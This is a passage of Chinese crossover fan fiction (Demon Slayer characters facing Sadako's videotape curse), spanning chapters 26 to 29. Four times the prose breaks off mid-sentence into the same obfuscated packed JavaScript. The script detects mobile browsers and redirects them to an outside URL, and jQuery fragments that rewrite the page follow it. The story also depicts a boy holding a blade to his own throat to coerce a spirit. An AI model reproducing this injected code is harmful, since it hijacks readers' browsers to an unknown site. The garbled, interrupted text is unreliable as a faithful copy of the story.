因为小时候的经历,加上被杀的怨气,拥有超能力的贞子将自己的怨念投射到录影带上,诅咒着看过录像带的人,让他们完成自己想做的事。 “我在想,是不是只要找到贞子的尸体,好好超度或许就能解开诅咒。”忍说出自己的看法。 义能也点点头,显然他也这么想的。 “那我们快去吧。” 见终于有办法了,祢豆子很高兴。一旁的善逸也是如释重负,终于要从这提心吊胆的诅咒中解脱了,伊之助吵着自己一定先将女鬼贞子找出来。 只有炭治郎一脸沉思,总感觉没那么容易。 因为森罗万象先生说过,即使侥幸逃过一死,诅咒仍然存在,就像阿勇先生一样。 即使现在报告单还出来,但炭治郎却下意识地觉得阿勇先生应该看过录像带了,但不知道什么原因,却并没有死。 阿勇先生有做过什么特别的事吗? 眼见着众人商量着,立刻去寻找枯井,炭治却叫住了他们。 “等一下,等森罗先生把关于贞子的资料传过来吧。” 他想先看过资料再说。 果然一个小时后,森罗万象丸发来了,自己所有的关于贞子的资料。 上面很多事,他们都已经知道了,甚至还有一些他们所不知道的情报,比如贞子生前受到侵犯,比如曾经有一个受到诅咒的人找到了贞子的遗体,并送回老家安葬。 那个人确实活了下来,但是妻女却仍然死了,而且那个人之后没多久也死了。 后来,不知道什么原因,贞子的诅咒消停了一段时间,可是并没有断绝,贞子仍然潜伏着,只要找到机会,就会重返人间,就像现在这样。 看完资料后,屋内很安静,安静到针落可闻,然后是善逸的哭泣声… “那我不是没救了吗?” 随着善逸的哭泣,气氛变得压抑起来。 炭治郎安慰着他:“不,不会的。一定还有办法的。” 就像他一样,不就没有中诅咒吗? 忍将手放在炭治郎的笔记本上,默默垂下眼眸,以她的视角来看,她并没有找到一丝,有关炭治郎解除诅咒的线索。 如果让她看的话,就是炭治郎体质特殊。 “姐姐!报告单出来了!” 就在气氛越来越僵之时,香奈乎手持报告单过来了。她今天一直跟在香奈惠姐姐身边,在报告单出来的那一刻,就拿着东西马不停蹄地赶来了。 “那个人果然也中了诅咒!” 正如香奈乎所说,阿勇也是中了诅咒的,只是他的诅咒却和其他人不一样。 像死者和他们身上的是环形诅咒,但是阿勇身上却是线形的… 这就是阿勇活下来的原因吗?诅咒的形式变了。 “那么真正知道解咒办法的人,应该是阿勇?” 在听说报告单的事后,时透和有一郎也赶来了,两人也看那份报告单。 “应该是这样,没有错了。” 只是这种诅咒,最终还是会死,只是延缓了死亡的时间,又或者说其实是贞子放了他一马。 忍将这些天来,众人获得的资料,一一摆在桌子上,包括炭治郎邮箱里的也打印出来。 两盘录像带、贞子的照片、过往、所有人的体检报告单… 忍的目光一一在这些东西上扫视着… 不一样…不一样… 阿勇唯一和其他死者做的不一样的事… 病毒…环型…线型…裂口…跑出去… 两份录像带…复制…增加…繁殖… 忍不断地思考着这些联系,猛地瞪大眼睛,站了起来,她的动静太大,引起了其他人的注意。 “怎么了,忍学姐?”炭治郎问道。 “我知道了!贞子想让我们把诅咒传播出去!” “什么!”众人大惊! 忍拿起那两盘录像带:“那位阿勇先生唯一多做的事,就是复制了这盘录像带,然后给了安野笃看了。” “他的诅咒便转移了。” “就像病毒一样,进行了繁殖。” “原本的环型病毒,有一部分跑了出去,变成线形,这就是为什么阿勇能活下来的原因。” “也就是说,我们想活,就得替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098923|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贞子传播诅咒,让别人也看到录像带的内容?”香奈乎不可置信地捂住嘴。 “这怎么可以!”祢豆子激动地喊道。 如果真是这样的话,那他们不也就成了杀人凶手了吗? “不可以!绝对不能这样!” 他们八个人也就意味着要传播八份诅咒,这样下去中诅咒的人会越来越多,他们对于贞子诅咒只是了解了冰山一角,谁知道后面诅咒会变成什么样。 “祢豆子说得对,我们不能把诅咒散播出去。”时透认同道。 一旦将诅咒散播出去的话,世界就完了。 世界各地都是贞子的诅咒,诅咒会蔓延下去,直至占据所有人的身体。 义勇:“诅咒必须中止。” 而中止的办法只有一个,毁掉这两盘录像带,然后他们几人三天后死掉,贞子的诅咒便不会再蔓延下去。 义勇的话,让所有人垂下头。 即使已经做好决定了,可是谁又能开开心心地去送死呢。可是他们必须这么做。 “大家都同意销毁录像带吧。”忍知道自己不能替其他人做决定,于是问道。 善逸只是默默流泪,并没有站起来反驳,而有一郎拉着弟弟的手,即使他疼爱弟弟,也知道大局,这也是无可奈何的事。 其他人更是没有说话,他们不会为了自己活命,而牺牲别人。 “愚蠢。” 只有在炭治郎体内的无惨,鄙夷着这些人。 炭治郎没有心情和无惨拌嘴,他只知道自己的妹妹和朋友们要死了,而自己连救他们的方法也没有。 只能眼睁睁地看着众人来到学校的偏僻之处,找了一个空地,将那两盘录像带砸坏,然后浇上油,一把火点燃。 直到看着这两盘录像带被完全烧毁,他们这才安心下来。 如此这两盘录像带,再也不能祸害人了。 接下来,他们只要默默地等待死亡就可以了…只要他们死了,贞子的阴谋就能破坏… 燃烧着的录像带散发着刺鼻的味道,炭治郎鼻子一酸,泪水潸然而落。 他真的很弱,救不了妹妹,救不了朋友,救不了敬爱的师长…谁也救不了…为什么只有他一个人…只有他一个人活了下来,没有身中诅咒… “是啊,炭治郎只有你一个人恬不知耻地活下来了。” “他们都会死,就凭你是救不了他们的!” “除非你继承我的力量!只要你继承我的力量,别说这种诅咒了,你的朋友们都能活下来,而且不老不死。” “你不需要做什么,只要乖乖继承我的力量就可以了,很划算的买卖不是吗?” 感受到炭治郎内心的悲心与不舍,无惨又一次在他内心蛊惑道。 他拿出炭治郎最想要的筹码,救下他的那些朋友们! 这一次炭治郎还有逃脱的能力吗? 炭治郎紧紧握拳,低垂着头,默不作声。 当录像带烧得干干净净一点也不剩后,众人准备离开这里,他们所剩的时间不多了,剩下的时间,他们打算好好享受,和自己最爱的人待在一起。 “大家不如去KTV唱歌吧。”忍笑着提议道。 “好啊,好啊!” 众人点头,相伴着准备一起去KTV好好放松一下,将所有的情绪都以唱歌的方式,发泄出来。 炭治郎站在原地没有动:“你们先吧,我等一下就来。” 他如此说道。 27.第 27 章 “哥哥,你会来的,对吧。”祢豆子有些担忧道。 炭治郎点点头:“嗯。” 众人留下炭治郎一人先去KTV开个包厢。 义勇与炭治郎擦肩而过时冷淡道:“别多想。” 炭治郎闻出担心的味道,他想义勇老师应该是让他不要再想,自己为什么没有中诅咒的原因了。 就让一切在这里结束吧。 他笑了笑:“嗯。” 他知道自己不用再多想什么了。 所有人都走了以后,炭治郎一个人走出校门,他没有回家,也并没直接去KTV,他只是漫无目的地走在街上,然后走进一家文具店,买了一把美工刀。 出了文具店后,他又继续走着,直到周围越来越冷清,他走到一片人迹罕至的河边。 他看着河里的倒影,缓缓开口道。 “谈谈吧,无惨。” 水面的倒影忽然变了,原本的红发少年,变成了一个面容俊秀的青年,黑发红眸,是一个难得一见的美男子。 “原来你长这样。”炭治郎第一次看到自己体内恶灵的样子,倒也没有很激动,只是有些感慨。 这些恶鬼们真的是一个比一个漂亮。 富江、贞子、无惨都有一副好皮相,但却一个比一个冷血。 水中的无惨开口道:“考虑好了吗?炭治郎。接受我的力量。” “不!”炭治郎想也不想再次拒绝道。 “我不会接受你的力量的。” “那我们之间没什么可谈的。” 既然不想接受他的力量,那就让他眼睁睁看着妹妹和朋友们去死吧!反正自己也不喜欢那些鬼杀队的人!不如死了最好! 但下一秒,炭治郎拿着那把买来的美工刀,抵在自己脖子上。 “炭治郎你在干什么!”无惨一下惊呆了! “告诉解除诅咒的方法!”炭治郎一开始就走了弯路,其实他并没有做什么特别的事,只是因为他体内也有诅咒。 一个名为鬼舞辻无惨的诅咒。 所以当时明明他也看了那盘录像带,但身上却没有病毒。 也因此,炭治郎意识到一件事,无惨并不想让他死,所以才会一次又一次地救他。 “炭治郎你以为我会这么好心吗?”无惨狠狠拧着眉,面对炭治郎用命来威胁,散发出浓浓的不悦。 “我知道,所以如果你不告诉我,那我俩就同归于尽!” “也正好,我可以陪着祢豆子,黄泉路上,祢豆子也不会孤单了。” 也许他们俩下辈子还能做兄妹。 “你…” 无惨知道炭治郎是认真的,为了妹妹,他什么都敢做。 他本来还很生气,但突然又笑了起来:“哼,愚蠢的炭治郎,这么天真。” “你想知道为什么你没中诅咒吗?” “很简单,我吞掉了那些病毒而已。” 区区天花病毒,对于一个鬼来说,根本不算什么。他从毒病中,解读到贞子的DNA,看到了贞子的生平,这才知道了贞子的名字,和她的计划。 那所谓的诅咒,其实是她将自身的NDA与天花病毒结合,所诞生的产物,不仅可以繁殖下去,而且如果遇到排卵期的女人,还可借腹重生。 “想救你的朋友?可以呀,继承我的力量,成为鬼,然后把你的朋友们也变成鬼,他们自然就能活下去。” “哈哈哈哈哈…” 无惨捂着脸开始狂笑起来,炭治郎眸色一沉。 “怎么样?愿意变成鬼了吗?” 他向炭治郎伸出手,像是发出邀请。 但炭治郎没有动,手中的刀反而抵进一分,血顺着锋利的刀片流了下来。 “你在干什么!疯了吗!”无惨瞬间慌了。 “除了这个,还有别的办法吗?” 他不会变成鬼的,也不会把朋友们也变成鬼!他的朋友们为了他人,连自己的命都可以牺牲,怎么可能为了活而变成鬼呢? 这样做,不就是否定了他们的意志吗? “没有!”无惨死咬着没有其他办法。 “那如果你附身在他们身上呢?” 这样不就也能吞掉他们体内的病毒了吗? “等一下,不行。” 但很快他就自己反驳了自己。 被鬼附身是非常危险的,他只是运气好没有被无惨控制罢了,如果是换作其他人了…炭治郎根本不敢想,一旦无惨跑到他们身上去了,会发生什么事。 更别说阿勇先生现在的失魂的状态。 正好无惨也不想离开炭治郎的身体。 谁知道他一离开,炭治郎会不会跑了,或死了。 他就算魂飞魄散也不会离开对方的! 他深吸一口气,想劝炭治郎把刀放下来:“听好了,炭治郎。我可以让步,只要你一个人成为鬼就可以了。” “你可以在成为鬼后,吸收了你妹妹等人身上的诅咒,这样他们也能安全。” “不要。”炭治郎依旧拒绝了。 “灶门炭治郎,这是我最后的让步了!你别不识抬举!” 这个炭治郎还想怎么样!自己都已经委曲求全成这样了,都愿意不杀那些鬼杀队的转世,不把那些人变成鬼了,为什么他还不同意! “你不是愿意为妹妹牺牲的吗?”他质问道。 “我是愿意替祢豆子去死,但变成鬼是另一回事。”炭治郎潜意识里觉得,变成鬼并不是什么好事。 即使有强大的力量,可他一旦接受,便会有很多人伤心的。 他回忆起那天遇到裂口女后,昏迷中的善逸对他说的话。 为了家人,为了朋友,他拒绝变成鬼。 “你…那你就看着他们去死吧!”无惨咬牙切齿道。 这一次,这个炭治郎别想利用他的力量。 “好的,我先死。” 说着,他就要划破自己的喉咙,刀片上的血滴落在水面上,砸到无惨脸上。 “等等等…” 无惨立刻又急了! “你到底想怎么样!” “破解诅咒的办法。” “没有。” “那我死吧。” “够了!灶门炭治郎!算你狠,你赢了。”无惨的脸色很难看,即使他耍尽心机,可还是拿这个跟头倔驴似的炭治郎没有丝毫办法。 “那只是病毒而已,只要有疫苗就能治好,这都想不明白吗?” 炭治郎露出恍然大悟的表情:“原来如此。” 一直以来,他们考虑的都是贞子的诅咒,确实忘了既然是病毒,那应该就有疫苗。 “可是时间不多了,来不及研发疫苗啊。” 然而他即使不懂药理,也知道疫苗的开发不是一朝一夕的,除非是一个对药理,还有病毒十分了解的人。 “无惨你可以吗?制作出疫苗。”他也不知道自己是怎么想的,就突发奇想地问道。 无惨闭嘴不说话。 看着沉默的无惨,炭治郎叹了一口气。 “算了,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104049|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨你都死了那么久了,估计连实验室是什么也不知道,肯定不会配疫苗。” “灶门炭治郎,你在小瞧我吗?” “不是小瞧,你不是几百年前的人吗?肯定不懂吧。” “谁说我不懂,我都做了一千年的实验了。” “真的吗?”灶治郎惊喜道,随即又叹气:“可是,无惨你瞧着就没有贞子聪明。” “那可是创造出新型病毒的人,一定很聪明,无惨比不过对方很正常。” “灶门炭治郎!给我找间实验室来!” 这个该死的灶门炭治郎不仅不愿意继承他的力量,还看不起他的脑子!贞子算什么!区区病毒而已!他想对付简直易如反掌。 “好的!我马上问香奈惠医生,看看她有没有认识的人,可以借实验室。”炭治郎没有再反驳无惨,反而是笑着放下了美工刀。 速度之快,让无惨总感觉哪里不对劲?他是不是中了激将法? 然而未来得及多想,他就又被炭治郎威胁一番。 “无惨,放你出来研发疫苗可以,但可不许乱来。” “不然我就去死。” 无惨啧了一声,显然很不快。 炭治郎先是联系了香奈惠表达了自己想要一间实验室的想法,然后又打电话给祢豆子,说自己找到了破解诅咒的办法了,这下大家都不用死了,让他们等自己两天。 他一定会带着解药来救他们的。 时间紧迫,炭治郎立刻前往香奈惠那里。 香奈惠人脉众多,倒是真的有一个大学同学是做药物研发的,并且在团队里有一定的话语权,可以借一间实验室。 当天晚上,他们就赶往了那里。 “香奈惠,我以为是你要做实验,结果是这个孩子吗?”青年看到炭治郎穿上白大褂,表情有些复杂。 他在听到香奈惠要借实验室,倒也觉得没什么,香奈惠在上学时,就很有天赋,结果最后却跑了一所高中当校医。 他虽然觉得惋惜,但这也是香奈惠自己的选择,如今她却带着一个十几岁的孩子,来做实验?要知道药物调配可不是小孩子过家家,一不小心是会死的。 但香奈惠却只是轻轻一笑:“五郎,我知道这件事为难你了,但还请你帮忙保密,我们在做一件很重要的事,关乎很多人的性命。” “好吧。”既然是香奈惠的请求,青年也不再多说什么。 他还有事要忙,将钥匙交给香奈惠后,便离开了这里。 香奈惠将钥匙交给炭治郎:“炭治郎,虽然我不知道你为什么能制作疫苗,但是大家的性命就交给你了。” 只要是脑子正常的人,也许都会觉得一个十几岁,且从来没有接触过药理的人,是不可能制作出病毒疫苗的吧。 但是她愿意相信,因为她知道炭治郎不会拿妹妹和朋友的性命开玩笑。 “嗯。”炭治郎郑重地点头。 但同时他也提出两个要求。 “香奈惠医生,我也拜托你两件事,我做实验的时候,不要让任何人靠近我。” “另外,如果三天后,我还没有配出疫苗,且行为不正常的话,就联系这个人。” 他将森罗万象丸的邮箱交给香奈惠。 他得确保无惨不会有机会危害任何人,一旦有这种情况出现,无论怎么样,都得找灵能力者除掉他。 “我知道了。”香奈惠也郑重点点头。 随着实验室的大门关上,满是器材的白色房间里,只剩下炭治郎一个人,以及一只鬼… 28.第 28 章 炭治郎站在那里,缓缓闭上眼… “无惨,我现在把你放出来,你可以借用我的身体研制疫苗。” “但你得答应我,不能伤害任何人。” “好。”无惨的语气有些不悦。 但对于炭治郎来说,只要有这个承诺就够了。 知道怎么让无惨出来的他,逐渐放空自己的意识,让意识下沉,如同那天被催眠的感觉,他的意识渐渐下沉到深渊中去… 等再睁眼时,炭治郎的眼神变了。 原本如石榴花般灼热温暖的目光,顿时冰冷如霜,冷得像血。 “他”似乎并不熟悉这具身体,低头看了一眼自己的双手。 “这种感觉好久没有过了。”就连语气也发生了变化。 炭治郎,不,现在应该是无惨。 在接管炭治郎的身体后,他感觉到了久违的凝实感,上一次炭治郎的意识被催眠,他虽然短暂地出来过一次,但急着杀庸医的他,并没有来得及感受拥有实体的感觉。 如今他才终于从那虚无缥缈的灵体中解脱,甚至有了一种活着的感觉。 这种感觉很奇妙。 明明他曾经以强大的肉身活了一千年,却没有此刻占有炭治郎的身体,来得有更有活着的感觉。 这种感觉很奇怪,这是一具健康的、温暖的、自由自在的身体… 他萌生一种,不如就这样永远占据这具身体的想法。 “不可以哦,无惨。这是我的身体。” 炭治郎的声音突然从脑海里响起,就连无惨也吓了一跳。 “你怎么还在!” 这个人的意识不应该给他好好沉睡吗? “因为有些不放心无惨呢。”炭治郎笑着说道。 刚说完,无惨就感觉自己双腿不受控制地往前走去。 “别傻站在那里,无惨,快点研发疫苗,祢豆子他们还等着救命呢。” 该死,现在明明是他掌管身体,为什么炭治郎却还能控制!他都做不到! 无惨一边在内心咆哮,一边手已经动了起来。 他拿起之前从祢豆子他们身上抽的血,取出一滴,放在显微镜。 实验室外,监控室内,透过镜头,香奈惠可以清楚地看到炭治郎在实验室里的情况。 她沉着脸,目不转睛地看着屏幕。 这是怎么回事?为什么炭治郎好像变了个人一样。 他真有第二人格? 香奈惠想起来,之前炭治郎跟自己说过,他摔了一跤之后,就分裂出第二人格。可若是第二人格,这个人格未免也太奇怪了些。 这时她的手机响了,是忍打来的电话。 怕是想问问炭治郎的事。 她接起电话,也并没有瞒着妹妹,告诉了她炭治郎在开发疫苗的事。 炭治郎并不知道外面发生了什么事,此刻的他一心扑在让无惨研发疫苗的事上。 让他没想到的是无惨居然真的对这种事十分熟练,看来正如他所说的,这个人是真的会做研究。 见有希望,炭治郎更是半分不敢影响对方。 只希望他能尽早研究出疫苗来。 无惨很好地遵守与炭治郎的约定,一直在实验室里研究疫苗,除了中途他感觉到肚子不舒服,头脑有些昏昏的。 炭治郎告诉他:“你用我的身体已经三十个小时没有睡觉,且没有吃东西,肯定会困,会饿呀。” 无惨:“没用的东西!只是区区三十个小时没有睡觉而已!” 他以前为了寻找蓝色彼岸花,可是不眠不休!一个人切换多种身份,各种地方都潜入了,也没有感到累。 “可我只是一个普通人啊。”炭治郎觉得无惨实在是有些不讲理。 “谁让你不继承我的力量!” 只要继承了他的力量,这点疲惫算得了什么。 “不要。”炭治依旧是斩钉截铁地拒绝道。 “总之先吃饭吧。” 虽然他也很想快点研究出疫苗,但人是铁,饭是钢。再着急也要吃饱了饭,才能好好工作。 于是他控制着无惨,放下手中的玻璃管,然后打开久闭的大门。 自始至终,无惨都是臭着一张脸,他被炭治郎强制送到饭桌前。 “我不吃人类的食物。”他看着眼前的蛋包饭恨恨地说道。 但手已经自己动了。 “无惨,别闹,很好吃的哦。” 炭治郎就像哄小孩子一样,一边强制让无惨吃饭,一边柔声劝说道。 一勺子米饭送进嘴中,无惨嚼了嚼不说话。 “怎么样很好吃吧。”炭治郎笑着问道。 无惨依旧不说话,但手却自己动了。 多少年没吃过人类的食物了,感觉还可以接受,他一勺又一勺地自己吃了起来。 炭治郎见了,露出爽朗的笑声。 只是餐厅里其他人见了,却露出一丝疑惑的表情。 这个孩子是精神出问题了吗?一边说着不吃,一边往嘴里送饭。 无惨不知道,此刻的他在他人眼中已经成了一个怪胎,在吃过饭后,他被炭治郎逼着休息了两个小时。 炭治郎像算好一样,两个小时一到,就把无惨叫了起来。 “无惨,快点,没时间了。” 无惨有些郁闷,这才把注意力放在他身上一会,怎么就又提起那些该死的鬼杀队成员了! 可他又不得不继续进入实验室,展开他的疫苗研发。 现在离诅咒发效,只剩不到一天的时间了。 善逸坐在沙发上,神色忐忑。 “炭治郎真的能将疫苗带来吗?” 感觉这几天,他的心情跟过山车一样。 一开始知道自己被诅咒了,怕得不行,后来得知这个诅咒会死人,更是生无绝恋。但因为与朋友们一起想办法调查诅咒,心情稍有缓和,随即就知道这个诅咒就算解开,也会有所保留,他简直要哭了。 本来在得知诅咒的解法,是要去诅咒其他人,他已经做好英年早逝的准备了,所以那天在KTV中,用他的绝对音感,好好地发泄了一番。 当时还有星探,跑进来激动地握住他的手,要他去弹吉他呢。因为他知道自己没几天好活了,所以忍痛拒绝了。 可拒绝没多久,忍学姐便将炭治郎有办法搞来病毒的疫苗这件事,告诉了众人。 于是他们满怀期待地等了又等。 今天是诅咒的最后一天了,到了晚上九点,他们就会咒发身亡。 可炭治郎却一直没有出现。 这让他越来越心焦。 “炭治郎…炭治郎…炭治郎…”他不停地默念着炭治郎的名字,好像把这个当作咒语一般,只要不停地念,就能召唤炭治郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108758|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但先召唤来的是时透的鄙夷。 “闭嘴,你安静点,吵死了。” 此刻时透正在和哥哥,一起看着电影,还是一部恐怖电影。 “善逸,相信哥哥了,他一定会来的。” 祢豆子和香奈乎一起端着点心进来。今天他们聚集在忍的家中,既是为了等炭治郎,也是省得贞子一个个跑了,大家都在一起,或许在见到贞子时还能想想办法。 “大家来尝尝吧,这是祢豆子从家里带来的蛋糕。”香奈乎放下点心,招呼众人来品尝。 “是祢豆子做的吗?”听到这话,刚刚还在郁闷的善逸一个鲤鱼打挺地从沙发上起来。 开开心心地跑到祢豆子面前,像开花的蒲公英。 祢豆子点点头:“嗯,我做了几块,剩下的是妈妈做的。” 他们家里手艺最好的就是妈妈了,其次哥哥。 听到里面有祢豆子亲手做的蛋糕,善逸更是高兴了,他兴奋地看着这八块蛋糕,满是星星眼。 他激动地伸出手,想要挑到祢豆子亲手做的,以他和祢豆子的心有灵犀,一定能挑到的!一定能!!! 可他伸出手,目光在不同形状的蛋糕前,不敢下手。 决定了,就这块爱心型的吧! 可他刚准备伸手,另一只手快速地拿过那块爱心蛋糕。 伊之助连叉子也没有用,就一口吞下,然后拿起一旁的咖啡:“这味道,是红豆子做的!对不对!” 祢豆子鼓掌:“伊之助味觉真的好灵!” “下次少放点糖,太甜。”伊之助理直气壮地提出建议。 “嗯,好的。”祢豆子也虚心接受。 善逸却在一旁急了:“喂!你这只野猪,好运地吃到祢豆子妹妹亲手做的蛋糕,你就应该感恩戴德!别厚脸皮提要求!” 对于善逸的话,伊之助淡定地掏耳,充耳不闻。而就在善逸教训伊之助时,时透、有一郎、忍、香奈乎都纷纷拿起蛋糕开始吃了起来。 善逸只能看着他们一一拿走自己原本想吃的,然后依依不舍地伸出手。 但他却什么也不能说。 如今还剩下三块蛋糕,他笑着保持绅士风度。 “祢豆子妹妹先选择吧。” “那就草莓蛋糕吧。”祢豆子挑了一块。 善逸勾起嘴角,计划通! 他知道如果是祢豆子的话,绝对会选妈妈做的蛋糕! 那剩下的这两块,肯定有一块是祢豆子妹妹做的!二选一的概率,他就不信自己还会选错。 他与剩下还没有选义勇大眼瞪小眼,虽然对方是老师,自己应该歉让,但是先下手为强的人,才更有机会获得祢豆子亲手做的蛋糕! “就是这块了!” 眼见着义勇已经伸出手,他赶紧将那块巧克力蛋糕,抢在义勇前面拿到手。 “嘿嘿。”善逸露出一脸痴笑,这个巧克力蛋糕绝对是祢豆子做的!毕竟这可是巧克力啊。 被抢了蛋糕的义勇神色有一瞬间的失落,然后拿起最后一块蓝莓蛋糕。 他拿起小勺子尝了一口:“这蓝莓…” “是不是很甜?”祢豆子笑眯眯地问道。 “我今天早上尝了一下,便想着用它做蛋糕。” 善逸的笑容一僵,举着巧克力蛋糕问祢豆子:“那祢豆子妹妹,那这块呢。” 29.第 29 章 “这是我妈妈做的。”祢豆子微笑回答道。 善逸的脸色顿时如同遭到了雷击,他赶紧左右看看,还有没有人没吃完的。 可是伊之助早就一口吃完了蛋糕,至于其他人…忍,香奈乎、时透、有一郎四人则坐在一起,喝着咖啡、说说笑笑。 他赶紧回头看向义勇,此时义勇正好吃下最后一口。 他只能捧着手中的蛋糕,一边哭一边吃。 太可恶!为什么他没能选到弥豆子妹妹亲手做的蛋糕!说好的心有灵犀呢。 没吃到祢豆子亲手做的蛋糕,比杀了他还让他难受。 哪怕其他人都开始在玩派对游戏了,他也兴致恹恹,一个人躺在沙发默默流泪。 而众人沉浸在游戏当中,半点没有晚上可能要死的哀伤,反而每一个人都笑得很开心,甚至还出门一起去吃烤肉,美美地吃上一顿后,等再回家,已经是晚上7点。 距离他们的死亡时间,只剩下两个小时。 直到现在屋内的气氛这才安静下来。 谁也没说话,都在等待那个时刻的到来。 虽然他们相信炭治郎一定会来的,但在此之前,贞子会不会先来? 时间在此刻仿佛变得漫长起来,每一分钟都过得极慢…就在这一片死一样的寂静当中,突然大门口传来开门声,众人惊喜地望去,只见大门打开,进来的是长发女子。 香奈乎一下扑进对方怀中:“姐姐。” 她的声音闷闷的。 忍也站了起来,红了眼角:“姐姐,你不该来的。” 虽然中诅咒的是他们,但是谁也不知道当贞子来临时,会不会伤害无辜的人。 她不想让姐姐卷进来。 但香奈惠却是牵着香奈乎的手,温柔地走向忍,也牵起她的手:“姐姐不会离开的。” “我们姐妹三人要永远在一起。” 听到这话,忍再也没有忍得住,落下泪来,扑进姐姐的怀里。 香奈惠将两个妹妹,都搂进怀里,什么也没有说,任由她们将泪水撒在自己的衣服上。 直到两个人哭得差不多了,才温柔地擦拭掉她们的泪水,拉着两人在沙发上坐下。 墙上的秒针一圈圈地走着,时间流逝,有人开始坐立不安起来,有人开始不断地抖腿。 那个时针已经越来越接近九这个数字… “他会来的。”义勇清冷的声音传来,听不出任何一丝对死亡的恐惧。 如此简单的一句话,却让众人如吃了定心丸一样。 他们现在要做的便是相信炭治郎,相信那个少年一定会出现的… “铛铛铛…” 九点的钟声敲响,如同地狱的电车来接他们了,所有人一个激灵。与此同时,除了香奈惠以外,其他人的手机都响了起来。 义勇接起电话,神色平静,他一句话也没有说,电话那头也一句话也没有说,但义勇知道这个电话是谁打来了。 似乎是看不惯义勇的沉默,电话那头很快就挂断了,与此同时蝴蝶家的电视机自己打开了,画面是录像带中的那口枯井。 忍见状,立刻上前拔断了电源,但画面并没有因为切断了电源而消失,反而依旧存在在那里,并且从枯井里伸出一双消瘦的手,紧紧地扒在井口。 “啊啊啊!”善逸吓得尖叫起来。 谁也没有想到贞子会从电视里爬出来。 有一郎立刻去开门,想试着逃出去,但是门却锁得死死的。 时透也拿椅子砸窗户,可窗户砸不开。 伊之助从厨房拔出一把菜刀,指着电视:“你来呀,俺不怕你。” 只要电视里的人爬出来,他是真的敢杀上去。 “姐姐你快走!”香奈乎推着姐姐,想让她离开这里。 “你们怎么了?” 看着不知道为什么在那里手忙脚乱的众人,香奈惠一脸疑惑,但她很快知道是贞子来了,并且从忍的行动来看,知道贞子出现在电视里。 只是… 她看向电视,那里明明什么也没有… 所以只有中了诅咒的人能看到吗? 她赶紧大喊道:“大家不要急,这是假的,是幻觉而已!” 她想自己可能知道了贞子杀人的真面目了,用极度的恐怖幻觉来杀人,但是她的话却好像被隔音了一样。 忍和香奈乎明明看到了姐姐在说话,可是却听不见她在说什么,但能听到贞子从井里爬出来的声音。 那个白衣、披头散发的女人爬得诡异,像是浑身摔断了骨头一般,僵硬的一点点爬上井,直到从井里爬出,然后一帧又一帧地闪现,离电视屏幕越来越近…越来越近… 然后伸出手,一点点地从屏幕里爬了出来… “啊啊啊!你别过来啊!” 善逸一边大叫着,一边将祢豆子护在身后,哆哆嗦嗦地指着对方:“你想伤害祢豆子,就从我身上爬过去!” 众人立刻抱作一团,挡在最前面的是香奈惠和义勇,香奈惠虽然看不见贞子,但是通过众人的反应,也能猜到大致方向,而义勇更是也从厨房拿出一把菜刀指着贞子。 “别过来!”他呵斥道。 随着贞子从电视机里爬出来,顿时房间里充斥着一股腥臭味,那股泡久了的腐烂味道,刺激着每一个人的神经,特别是看着那个湿漉漉的贞子,每爬一步,从头发、衣服上流下的水渍,随着他的动作而流下,缓缓地延伸到他们脚边… “哼!鬼!” 伊之助率先冲了出去,拿刀砍向恶鬼,脸上没有丝毫惧意。然而他才跑两步,随着贞子只是挥挥手,他手中的刀便一下飞了出去了,擦过善逸的脸,落到地上,深深地陷入地板中。 善逸倒吸一口凉气,晕了过去。 就算他们这些人心理素质再强,可是面对超能力依旧是束手无策。 贞子终于披头散发地站了起来,她一抬手,祢豆子便从人群中飞了出去了,落在了贞子手上,并且被掐住了脖子。 “放开祢豆子。” 众人赶紧上前,可是却一个个飞了出去,砸在地上,只有没中诅咒的香奈惠赶紧上前,抓住祢豆子的手。 “祢豆子,你快放手,不要被贞子的幻觉控制了。” 在她眼中,是祢豆子自己掐着自己。 可是被扼住脖子的祢豆子感到一阵耳鸣,她只能看到那黑发后那阴森恐怖的双眼,以及脖子上的冷意还有那扑面而来的腥臭味… 所有的感觉都是那么真实… 她的脸色越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 